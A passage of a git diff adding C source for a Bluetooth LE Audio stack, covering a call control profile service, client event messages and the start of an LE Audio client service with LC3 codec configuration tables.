bts_lea_ccp_read_call_state(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_call_state(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_bearer_list_current_calls(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_bearer_list_current_calls(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_read_call_friendly_name(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_read_call_friendly_name(addr, service->tbs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_call_control_by_index(bt_address_t* addr, uint8_t opcode) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + uint8_t call_index; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + + if (lea_ccp_find_call_index(opcode, &call_index)) { + ret = bt_sal_lea_tbc_call_control_by_index(addr, service->tbs_info.sid, opcode, call_index); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_originate_call(bt_address_t* addr, uint8_t* uri) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_originate_call(addr, service->tbs_info.sid, uri); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_lea_ccp_join_calls(bt_address_t* addr, uint8_t number, + uint8_t* call_indexes) +{ + CHECK_ENABLED(); + bt_status_t ret; + lea_ccp_service_t* service = &g_ccp_service; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + if (!service->tbs_info.num) { + BT_LOGE("%s, tbs num is unexpected", __func__); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + ret = bt_sal_lea_tbc_join_calls(addr, service->tbs_info.sid, number, call_indexes); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static void* bts_ccp_register_callbacks(void* handle, lea_ccp_callbacks_t* callbacks) +{ + if (!g_ccp_service.started) + return NULL; + + return bt_remote_callbacks_register(g_ccp_service.callbacks, handle, (void*)callbacks); +} + +static bool bts_ccp_unregister_callbacks(void** handle, void* cookie) +{ + if (!g_ccp_service.started) + return false; + + return bt_remote_callbacks_unregister(g_ccp_service.callbacks, handle, cookie); +} + +static const lea_ccp_interface_t leaCcpInterface = { + .size = sizeof(leaCcpInterface), + .read_bearer_provider_name = bts_lea_ccp_read_bearer_provider_name, + .read_bearer_uci = bts_lea_ccp_read_bearer_uci, + .read_bearer_technology = bts_lea_ccp_read_bearer_technology, + .read_bearer_uri_schemes_supported_list = bts_lea_ccp_read_bearer_uri_schemes_supported_list, + .read_bearer_signal_strength = bts_lea_ccp_read_bearer_signal_strength, + .read_bearer_signal_strength_report_interval = bts_lea_ccp_read_bearer_signal_strength_report_interval, + .read_content_control_id = bts_lea_ccp_read_content_control_id, + .read_status_flags = bts_lea_ccp_read_status_flags, + .read_call_control_optional_opcodes = bts_lea_ccp_read_call_control_optional_opcodes, + .read_incoming_call = bts_lea_ccp_read_incoming_call, + .read_incoming_call_target_bearer_uri = bts_lea_ccp_read_incoming_call_target_bearer_uri, + .read_call_state = bts_lea_ccp_read_call_state, + .read_bearer_list_current_calls = bts_lea_ccp_read_bearer_list_current_calls, + .read_call_friendly_name = bts_lea_ccp_read_call_friendly_name, + .call_control_by_index = bts_lea_ccp_call_control_by_index, + .originate_call = bts_lea_ccp_originate_call, + .join_calls = bts_lea_ccp_join_calls, + .register_callbacks = bts_ccp_register_callbacks, + .unregister_callbacks = bts_ccp_unregister_callbacks, +}; + +/**************************************************************************** + * Public function + ****************************************************************************/ +static const void* get_lea_ccp_profile_interface(void) +{ + return &leaCcpInterface; +} + +static bt_status_t lea_ccp_init(void) +{ + BT_LOGD("%s", __func__); + lea_ccp_service_t* service = &g_ccp_service; + service->tbs_info.num = 0; + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_ccp_startup(profile_on_startup_t cb) +{ + bt_status_t status; + pthread_mutexattr_t attr; + lea_ccp_service_t* service = &g_ccp_service; + + BT_LOGD("%s", __func__); + if (service->started) + return BT_STATUS_SUCCESS; + + service->lea_calls = bt_list_new((bt_list_free_cb_t)lea_ccp_call_delete); + service->info = (bearer_tele_info_t*)malloc(sizeof(bearer_tele_info_t)); + service->callbacks = bt_callbacks_list_new(2); + if (!service->callbacks) { + status = BT_STATUS_NOMEM; + goto fail; + } + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&service->ccp_lock, &attr); + + service->started = true; + return BT_STATUS_SUCCESS; + +fail: + bt_list_free(service->lea_calls); + service->lea_calls = NULL; + free((void*)service->info); + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + pthread_mutex_destroy(&service->ccp_lock); + return status; +} + +static bt_status_t lea_ccp_shutdown(profile_on_shutdown_t cb) +{ + BT_LOGD("%s", __func__); + if (!g_ccp_service.started) + return BT_STATUS_SUCCESS; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + g_ccp_service.started = false; + + bt_list_free(g_ccp_service.lea_calls); + g_ccp_service.lea_calls = NULL; + free((void*)g_ccp_service.info); + g_ccp_service.info = NULL; + bt_callbacks_list_free(g_ccp_service.callbacks); + g_ccp_service.callbacks = NULL; + pthread_mutex_unlock(&g_ccp_service.ccp_lock); + pthread_mutex_destroy(&g_ccp_service.ccp_lock); + + return BT_STATUS_SUCCESS; +} + +static void lea_ccp_cleanup(void) +{ + BT_LOGD("%s", __func__); +} + +static int lea_ccp_dump(void) +{ + printf("impl leaudio ccp dump"); + return 0; +} + +static const profile_service_t lea_ccp_service = { + .auto_start = true, + .name = PROFILE_CCP_NAME, + .id = PROFILE_LEAUDIO_CCP, + .transport = BT_TRANSPORT_BLE, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = lea_ccp_init, + .startup = lea_ccp_startup, + .shutdown = lea_ccp_shutdown, + .process_msg = NULL, + .get_state = NULL, + .get_profile_interface = get_lea_ccp_profile_interface, + .cleanup = lea_ccp_cleanup, + .dump = lea_ccp_dump, +}; + +void register_lea_ccp_service(void) +{ + register_service(&lea_ccp_service); +} + +void adpt_tbs_sid_changed(uint32_t sid) +{ + lea_ccp_service_t* service = &g_ccp_service; + BT_LOGD("%s, sid:%d", __func__, sid); + service->tbs_info.num = CONFIG_BLUETOOTH_LEAUDIO_SERVER_CALL_CONTROL_NUMBER; + service->tbs_info.sid = sid; +} + +#endif \ No newline at end of file diff --git a/service/profiles/leaudio/client/lea_client_event.c b/service/profiles/leaudio/client/lea_client_event.c new file mode 100644 index 0000000000000000000000000000000000000000..8d18d3a99143dc0951b4a7b42ec82742ca80882f --- /dev/null +++ b/service/profiles/leaudio/client/lea_client_event.c @@ -0,0 +1,85 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "lea_client_event.h" + +lea_client_msg_t* lea_client_msg_new(lea_client_event_t event, + bt_address_t* addr) +{ + return lea_client_msg_new_ext(event, addr, NULL, 0); +} + +lea_client_msg_t* lea_client_msg_new_ext(lea_client_event_t event, bt_address_t* addr, + void* data, uint32_t size) +{ + lea_client_msg_t* msg; + + msg = (lea_client_msg_t*)zalloc(sizeof(lea_client_msg_t)); + if (!msg) + return NULL; + + msg->event = event; + + if (addr != NULL) { + memcpy(&msg->data.addr, addr, sizeof(bt_address_t)); + } + + if (size > 0) { + msg->data.size = size; + msg->data.data = malloc(size); + memcpy(msg->data.data, data, size); + } + + return msg; +} + +void lea_client_msg_destory(lea_client_msg_t* msg) +{ + if (!msg) { + return; + } + + free(msg->data.data); + free(msg); +} + +lea_csip_msg_t* lea_csip_msg_new(lea_csip_event_t event, bt_address_t* remote_addr) +{ + return lea_csip_msg_new_ext(event, remote_addr, 0); +} + +lea_csip_msg_t* lea_csip_msg_new_ext(lea_csip_event_t event, bt_address_t* remote_addr, size_t size) +{ + lea_csip_msg_t* csip_msg; + + csip_msg = (lea_csip_msg_t*)malloc(sizeof(lea_csip_msg_t) + size); + if (csip_msg == NULL) + return NULL; + + csip_msg->event = event; + memset(&csip_msg->event_data, 0, sizeof(csip_msg->event_data) + size); + if (remote_addr != NULL) + memcpy(&csip_msg->addr, remote_addr, sizeof(bt_address_t)); + + return csip_msg; +} + +void lea_csip_msg_destory(lea_csip_msg_t* csip_msg) +{ + free(csip_msg); +} \ No newline at end of file diff --git a/service/profiles/leaudio/client/lea_client_service.c b/service/profiles/leaudio/client/lea_client_service.c new file mode 100644 index 0000000000000000000000000000000000000000..c00615d813081f398f82c7f251b007f870c1ac49 --- /dev/null +++ b/service/profiles/leaudio/client/lea_client_service.c @@ -0,0 +1,2895 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "lea_client" + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <debug.h> +#include <stdint.h> +#include <string.h> +#include <sys/types.h> +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif + +#include "bt_lea_client.h" +#include "bt_profile.h" +#include "bt_vendor.h" +#include "callbacks_list.h" +#include "index_allocator.h" +#include "lea_audio_sink.h" +#include "lea_audio_source.h" +#include "lea_client_service.h" +#include "lea_client_state_machine.h" +#include "sal_lea_client_interface.h" +#include "sal_lea_common.h" +#include "sal_lea_csip_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CHECK_ENABLED() \ + { \ + if (!g_lea_client_service.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define LEAC_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, lea_client_callbacks_t, _cback, ##__VA_ARGS__) + +#define LEA_CLIENT_SRIK_SIZE 16 +#define LEA_CLIENT_GROUP_ID_DEFAULT 0 + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +typedef enum { + LEA_ASCS_OP_IDLE, + LEA_ASCS_OP_CODEC, + LEA_ASCS_OP_QOS, + LEA_ASCS_OP_ENABLING, + LEA_ASCS_OP_STREAMING, + LEA_ASCS_OP_DISABLING, + LEA_ASCS_OP_RELEASING, +} lea_client_ascs_op_t; + +typedef struct { + bool is_source; + bool active; + uint8_t ase_id; + uint8_t ase_state; + uint32_t stream_id; + lea_client_ascs_op_t op; +} lea_client_endpoint_t; + +typedef struct +{ + bt_address_t addr; + + uint8_t cs_rank; + uint8_t cis_id; + uint8_t ase_number; + uint8_t pac_number; + uint16_t sink_supported_ctx; + uint16_t source_supported_ctx; + uint16_t sink_avaliable_ctx; + uint16_t source_avaliable_ctx; + uint32_t sink_allocation; + uint32_t source_allocation; + + lea_client_state_machine_t* leasm; + profile_connection_state_t state; + pthread_mutex_t device_lock; + + lea_client_capability_t pac[CONFIG_BLUETOOTH_LEAUDIO_CLIENT_PAC_MAX_NUMBER]; + lea_client_endpoint_t ase[CONFIG_BLUETOOTH_LEAUDIO_CLIENT_ASE_MAX_NUMBER]; +} lea_client_device_t; + +typedef struct { + uint8_t cs_size; + lea_client_ascs_op_t op; + uint8_t sirk[LEA_CLIENT_SRIK_SIZE]; + + uint32_t group_id; + bt_list_t* devices; + uint8_t context; +} lea_client_group_t; + +typedef struct +{ + bool started; + bool offloading; + uint8_t max_connections; + bt_list_t* leac_streams; + bt_list_t* leac_groups; + index_allocator_t* index_allocator; + callbacks_list_t* callbacks; + pthread_mutex_t group_lock; + pthread_mutex_t stream_lock; +} lea_client_service_t; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ +static lea_client_state_machine_t* get_state_machine(bt_address_t* addr); +static lea_client_group_t* find_group_by_id(uint32_t group_id); +static void client_startup(void* data); + +static void on_lea_sink_audio_suspend(void); +static void on_lea_sink_audio_resume(void); +static void on_lea_sink_meatadata_updated(void); + +static void on_lea_source_audio_suspend(void); +static void on_lea_source_audio_resume(void); +static void on_lea_source_meatadata_updated(void); +static void on_lea_source_audio_send(uint8_t* buffer, uint16_t length); + +static void* lea_client_register_callbacks(void* remote, const lea_client_callbacks_t* callbacks); +static bool lea_client_unregister_callbacks(void** remote, void* cookie); +static profile_connection_state_t lea_client_get_connection_state(bt_address_t* addr); +static bt_status_t lea_client_connect_device(bt_address_t* addr); +static bt_status_t lea_client_connect_audio(bt_address_t* addr, uint8_t context); +static bt_status_t lea_client_disconnect_audio(bt_address_t* addr); +static bt_status_t lea_client_disconnect_device(bt_address_t* addr); +static bt_status_t lea_client_get_group_id(bt_address_t* addr, uint32_t* group_id); +static bt_status_t lea_client_discovery_member_start(uint32_t group_id); +static bt_status_t lea_client_discovery_member_stop(uint32_t group_id); +static bt_status_t lea_client_group_add_member(uint32_t group_id, bt_address_t* addr); +static bt_status_t lea_client_group_remove_member(uint32_t group_id, bt_address_t* addr); +static bt_status_t lea_client_group_connect_audio(uint32_t group_id, uint8_t context); +static bt_status_t lea_client_group_disconnect_audio(uint32_t group_id); +static bt_status_t lea_client_group_lock(uint32_t group_id); +static bt_status_t lea_client_group_unlock(uint32_t group_id); + +/**************************************************************************** + * Public Function Prototypes + ****************************************************************************/ +bt_status_t lea_client_send_message(lea_client_msg_t* msg); + +/**************************************************************************** + * Private Data + ****************************************************************************/ + +static const lea_lc3_config_t g_lea_lc3_configs[] = { + /* Index starts from 1: Odd is 7.5 ms; Even is 10 ms. */ + { 0, + 0, + 0 }, + + /* ADPT_LC3SET_8_1_1 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_8000, + ADPT_LEA_FRAME_DURATION_7_5, + 26 }, + + /* ADPT_LEA_LC3_SET_8_2_2 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_8000, + ADPT_LEA_FRAME_DURATION_10, + 30 }, + + /* ADPT_LEA_LC3_SET_16_1_3 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_16000, + ADPT_LEA_FRAME_DURATION_7_5, + 30 }, + + /* ADPT_LEA_LC3_SET_16_2_4 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_16000, + ADPT_LEA_FRAME_DURATION_10, + 40 }, + + /* ADPT_LEA_LC3_SET_24_1_5 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_24000, + ADPT_LEA_FRAME_DURATION_7_5, + 45 }, + + /* ADPT_LEA_LC3_SET_24_2_6 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_24000, + ADPT_LEA_FRAME_DURATION_10, + 60 }, + + /* ADPT_LEA_LC3_SET_32_1_7 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_32000, + ADPT_LEA_FRAME_DURATION_7_5, + 60 }, + + /* ADPT_LEA_LC3_SET_32_2_8 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_32000, + ADPT_LEA_FRAME_DURATION_10, + 80 }, + + /* ADPT_LEA_LC3_SET_441_1_9 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_44100, + ADPT_LEA_FRAME_DURATION_7_5, + 97 }, + + /* ADPT_LEA_LC3_SET_441_2_10 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_44100, + ADPT_LEA_FRAME_DURATION_10, + 130 }, + + /* ADPT_LEA_LC3_SET_48_1_11 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_48000, + ADPT_LEA_FRAME_DURATION_7_5, + 75 }, + + /* ADPT_LEA_LC3_SET_48_2_12 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_48000, + ADPT_LEA_FRAME_DURATION_10, + 100 }, + + /* ADPT_LEA_LC3_SET_48_3_13 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_48000, + ADPT_LEA_FRAME_DURATION_7_5, + 90 }, + + /* ADPT_LEA_LC3_SET_48_4_14 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_48000, + ADPT_LEA_FRAME_DURATION_10, + 120 }, + + /* ADPT_LEA_LC3_SET_48_5_15 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_48000, + ADPT_LEA_FRAME_DURATION_7_5, + 117 }, + + /* ADPT_LEA_LC3_SET_48_6_16 */ + { + ADPT_LEA_SAMPLE_FREQUENCY_48000, + ADPT_LEA_FRAME_DURATION_10, + 155 }, +}; + +static const uint8_t g_voice_context_config[] = { ADPT_LEA_LC3_SET_16_2_4, ADPT_LEA_LC3_SET_8_2_2, ADPT_LEA_LC3_SET_24_2_6 }; +static const uint8_t g_media_context_config[] = { ADPT_LEA_LC3_SET_32_2_8, ADPT_LEA_LC3_SET_24_2_6, ADPT_LEA_LC3_SET_16_2_4 }; +static const uint8_t g_live_context_config[] = { ADPT_LEA_LC3_SET_16_2_4, ADPT_LEA_LC3_SET_24_2_6, ADPT_LEA_LC3_SET_32_2_8 }; + +static const lea_lc3_prefer_config g_lc3_local_prefer_configs[] = { + { ADPT_LEA_CONTEXT_TYPE_CONVERSATIONAL | ADPT_LEA_CONTEXT_TYPE_INSTRUCTIONAL | ADPT_LEA_CONTEXT_TYPE_VOICE_ASSISTANTS | ADPT_LEA_CONTEXT_TYPE_SOUND_EFFECTS | ADPT_LEA_CONTEXT_TYPE_NOTIFICATIONS | ADPT_LEA_CONTEXT_TYPE_RINGTONE | ADPT_LEA_CONTEXT_TYPE_ALERTS | ADPT_LEA_CONTEXT_TYPE_EMERGENCY_ALARM, + sizeof(g_voice_context_config), (uint8_t*)g_voice_context_config }, + + { ADPT_LEA_CONTEXT_TYPE_MEDIA, + sizeof(g_media_context_config), (uint8_t*)g_media_context_config }, + + { ADPT_LEA_CONTEXT_TYPE_UNSPECIFIED | ADPT_LEA_CONTEXT_TYPE_GAME | ADPT_LEA_CONTEXT_TYPE_LIVE, + sizeof(g_live_context_config), (uint8_t*)g_live_context_config }, +}; + +static lea_client_service_t g_lea_client_service = { + .started = false, + .leac_streams = NULL, + .leac_groups = NULL, + .callbacks = NULL, +}; + +static lea_sink_callabcks_t lea_sink_callbacks = { + .lea_audio_meatadata_updated_cb = on_lea_sink_meatadata_updated, + .lea_audio_resume_cb = on_lea_sink_audio_resume, + .lea_audio_suspend_cb = on_lea_sink_audio_suspend, +}; + +static lea_source_callabcks_t lea_source_callbacks = { + .lea_audio_meatadata_updated_cb = on_lea_source_meatadata_updated, + .lea_audio_resume_cb = on_lea_source_audio_resume, + .lea_audio_suspend_cb = on_lea_source_audio_suspend, + .lea_audio_send_cb = on_lea_source_audio_send, +}; + +static const lea_client_interface_t LEAClientInterface = { + sizeof(LEAClientInterface), + .register_callbacks = lea_client_register_callbacks, + .unregister_callbacks = lea_client_unregister_callbacks, + .connect = lea_client_connect_device, + .connect_audio = lea_client_connect_audio, + .disconnect = lea_client_disconnect_device, + .disconnect_audio = lea_client_disconnect_audio, + .get_connection_state = lea_client_get_connection_state, + .get_group_id = lea_client_get_group_id, + .discovery_member_start = lea_client_discovery_member_start, + .discovery_member_stop = lea_client_discovery_member_stop, + .group_add_member = lea_client_group_add_member, + .group_remove_member = lea_client_group_remove_member, + .group_connect_audio = lea_client_group_connect_audio, + .group_disconnect_audio = lea_client_group_disconnect_audio, + .group_lock = lea_client_group_lock, + .group_unlock = lea_client_group_unlock, +}; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +static bool device_addr_cmp_cb(void* device, void* addr) +{ + return bt_addr_compare(&((lea_client_device_t*)device)->addr, addr) == 0; +} + +static lea_client_device_t* find_device_by_group_addr(lea_client_group_t* group, bt_address_t* addr) +{ + return bt_list_find(group->devices, device_addr_cmp_cb, addr); +} + +static lea_client_device_t* find_device_by_groupid_addr(uint32_t group_id, bt_address_t* addr) +{ + lea_client_group_t* group; + + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, group(%u) not found", __func__, group_id); + return NULL; + } + + return find_device_by_group_addr(group, addr); +} + +static lea_client_group_t* find_group_by_addr(bt_address_t* addr) +{ + lea_client_service_t* service = &g_lea_client_service; + bt_list_t* list = service->leac_groups; + lea_client_group_t* group; + lea_client_device_t* device; + bt_list_node_t* node; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + group = bt_list_node(node); + device = find_device_by_group_addr(group, addr); + if (device) { + return group; + } + } + return NULL; +} + +static lea_client_device_t* find_device_by_addr(bt_address_t* addr) +{ + lea_client_service_t* service = &g_lea_client_service; + bt_list_t* list = service->leac_groups; + lea_client_group_t* group; + lea_client_device_t* device; + bt_list_node_t* node; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + group = bt_list_node(node); + device = find_device_by_group_addr(group, addr); + if (device) { + return device; + } + } + return NULL; +} + +static lea_client_endpoint_t* find_ase_by_device_streamid(lea_client_device_t* device, uint32_t stream_id) +{ + lea_client_endpoint_t* ase; + int index; + + for (index = 0; index < device->ase_number; index++) { + ase = &device->ase[index]; + if (ase->stream_id == stream_id) { + return ase; + } + } + + return NULL; +} + +static lea_client_device_t* lea_client_device_new(bt_address_t* addr, + lea_client_state_machine_t* leasm) +{ + pthread_mutexattr_t attr; + lea_client_device_t* device = calloc(1, sizeof(lea_client_device_t)); + if (!device) + return NULL; + + memcpy(&device->addr, addr, sizeof(bt_address_t)); + device->leasm = leasm; + + pthread_mutexattr_init(&attr); + pthread_mutex_init(&device->device_lock, &attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + return device; +} + +static void lea_client_device_delete(lea_client_device_t* device) +{ + if (!device) + return; + + lea_client_msg_t* msg = lea_client_msg_new(DISCONNECT_DEVICE, &device->addr); + if (msg == NULL) + return; + + lea_client_state_machine_dispatch(device->leasm, msg); + lea_client_msg_destory(msg); + lea_client_state_machine_destory(device->leasm); + pthread_mutex_destroy(&device->device_lock); + free(device); +} + +static bool group_sirk_cmp_cb(void* data, void* sirk) +{ + lea_client_group_t* group = data; + + return (sirk != NULL) && (memcmp(group->sirk, sirk, LEA_CLIENT_SRIK_SIZE) == 0); +} + +static lea_client_group_t* find_group_by_sirk(uint8_t* sirk) +{ + lea_client_service_t* service = &g_lea_client_service; + + return bt_list_find(service->leac_groups, group_sirk_cmp_cb, sirk); +} + +static bool find_group_id_cb(void* data, void* group_id) +{ + lea_client_group_t* group = (lea_client_group_t*)data; + + return group->group_id == *((int*)group_id); +} + +static lea_client_group_t* find_group_by_id(uint32_t group_id) +{ + lea_client_service_t* service = &g_lea_client_service; + + return bt_list_find(service->leac_groups, find_group_id_cb, &group_id); +} + +static void group_delete_cb(void* data) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_group_t* group = (lea_client_group_t*)data; + + bt_list_clear(group->devices); + index_free(service->index_allocator, group->group_id); + bt_sal_lea_ucc_group_delete(group->group_id); +} + +static void lea_client_group_delete(uint8_t* sirk) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_group_t* group; + + group = find_group_by_sirk(sirk); + if (!group) { + BT_LOGE("%s, group not found", __func__); + return; + } + + pthread_mutex_lock(&service->group_lock); + bt_list_remove(service->leac_groups, group); + pthread_mutex_unlock(&service->group_lock); +} + +static lea_client_group_t* lea_client_group_new(uint8_t* sirk) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_group_t* group; + int salt; + bt_status_t ret; + + group = calloc(1, sizeof(lea_client_group_t)); + if (!group) { + BT_LOGE("%s, malloc fail", __func__); + return NULL; + } + + salt = index_alloc(service->index_allocator); + if (salt < 0) { + BT_LOGE("%s, index_alloc(%d) failed", __func__, salt); + return NULL; + } + + group->devices = bt_list_new((bt_list_free_cb_t)lea_client_device_delete); + pthread_mutex_lock(&service->group_lock); + bt_list_add_tail(service->leac_groups, group); + pthread_mutex_unlock(&service->group_lock); + + if (!sirk) { + group->group_id = LEA_CLIENT_GROUP_ID_DEFAULT; + return group; + } + + memcpy(group->sirk, sirk, LEA_CLIENT_SRIK_SIZE); + ret = bt_sal_lea_ucc_group_create(&group->group_id, (uint8_t)salt, NULL, NULL); + if (ret != BT_STATUS_SUCCESS) { + lea_client_group_delete(sirk); + BT_LOGE("%s, group_create failed(%d)", __func__, ret); + return NULL; + } + + return group; +} + +static lea_client_group_t* group_add_member(uint32_t group_id, lea_client_device_t* device) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_group_t* group; + + pthread_mutex_lock(&service->group_lock); + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, group not found", __func__); + pthread_mutex_unlock(&service->group_lock); + return NULL; + } + + bt_list_add_tail(group->devices, device); + pthread_mutex_unlock(&service->group_lock); + + return group; +} + +static bt_status_t group_remove_member(uint32_t group_id, bt_address_t* addr) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_group_t* group; + lea_client_device_t* device; + + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, group not found", __func__); + return BT_STATUS_NOT_FOUND; + } + + device = find_device_by_group_addr(group, addr); + if (!device) { + BT_LOGE("%s, device not found", __func__); + return BT_STATUS_NOT_FOUND; + } + + pthread_mutex_lock(&service->group_lock); + bt_list_remove(group->devices, device); + pthread_mutex_unlock(&service->group_lock); + + return BT_STATUS_SUCCESS; +} + +static void group_move_member(lea_client_group_t* src, lea_client_group_t* des, bt_address_t* addr) +{ + lea_client_device_t* device; + + if (!src || !des) { + BT_LOGE("%s, group null", __func__); + return; + } + + device = find_device_by_group_addr(src, addr); + if (!device) { + BT_LOGE("%s, device not found", __func__); + return; + } + + bt_list_move(src->devices, des->devices, device, false); +} + +static bool check_group_completed_by_op(uint32_t group_id, lea_client_ascs_op_t op) +{ + bt_list_t* list; + lea_client_device_t* device; + bt_list_node_t* node; + lea_client_group_t* group; + int index; + + group = find_group_by_id(group_id); + if (!group) { + return false; + } + + if (group->op == op) { + return true; + } + + list = group->devices; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + device = bt_list_node(node); + for (index = 0; index < device->ase_number; index++) { + if (device->ase[index].active && (device->ase[index].op != op)) { + return false; + } + } + } + + group->op = op; + return true; +} + +static bool check_group_completed_by_state(uint32_t group_id, lea_adpt_ase_state_t state) +{ + bt_list_t* list; + lea_client_device_t* device; + bt_list_node_t* node; + lea_client_group_t* group; + int index; + + group = 